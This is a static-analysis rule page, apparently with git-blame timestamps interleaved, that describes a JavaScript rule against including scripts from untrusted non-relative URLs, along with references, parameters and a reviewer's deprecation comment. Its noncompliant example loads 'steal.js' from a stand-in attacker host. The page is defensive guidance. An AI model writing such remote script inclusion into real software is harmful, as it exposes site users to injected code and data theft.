2023-05-03 11:06:20 +02:00
== Why is this an issue?
2021-04-28 18:08:03 +02:00
Including content in your site from an untrusted source can expose your users to attackers and even compromise your own site. For that reason, this rule raises an issue for each non-relative URL.
2020-06-30 12:48:07 +02:00
2023-05-03 11:06:20 +02:00
=== Noncompliant code example
2020-06-30 12:48:07 +02:00
2022-02-04 17:28:24 +01:00
[source,javascript]
2020-06-30 12:48:07 +02:00
----
function include(url) {
var s = document.createElement("script");
s.setAttribute("type", "text/javascript");
s.setAttribute("src", url);
document.body.appendChild(s);
}
include("http://hackers.com/steal.js") // Noncompliant
----
2021-04-28 18:08:03 +02:00
2023-05-03 11:06:20 +02:00
== Resources
2021-04-28 18:08:03 +02:00
2022-07-08 13:58:56 +02:00
* https://owasp.org/www-project-top-ten/2017/A1_2017-Injection[OWASP Top 10 2017 Category A1] - Injection
2022-04-07 08:53:59 -05:00
* https://cwe.mitre.org/data/definitions/829[MITRE, CWE-829] - Inclusion of Functionality from Untrusted Control Sphere
2021-04-28 18:08:03 +02:00
2021-06-02 20:44:38 +02:00
2021-06-03 09:05:38 +02:00
ifdef::env-github,rspecator-view[]
2021-09-20 15:38:42 +02:00
'''
== Implementation Specification
(visible only on this page)
2023-05-25 14:18:12 +02:00
=== Message
Remove this content from an untrusted source.
=== Parameters
.domainsToIgnore
****
Comma-delimited list of domains to ignore. Regexes may be used, E.G. (.*\.)?example\.com,foo\.org
****
2021-09-20 15:38:42 +02:00
2021-06-08 15:52:13 +02:00
'''
2021-06-02 20:44:38 +02:00
== Comments And Links
(visible only on this page)
2023-05-25 14:18:12 +02:00
=== deprecates: S1829
=== on 10 Jan 2020, 10:14:47 Eric Therond wrote:
Should be deprecated:
* No compliant solution to propose
* Could be noisy <img src="http://example.com/pic.gif"> or <script src=\http://example.com/jquery.js> is pretty common
* Could be replaced by a more relevant taint analysis rule in the future
2021-06-03 09:05:38 +02:00
endif::env-github,rspecator-view[]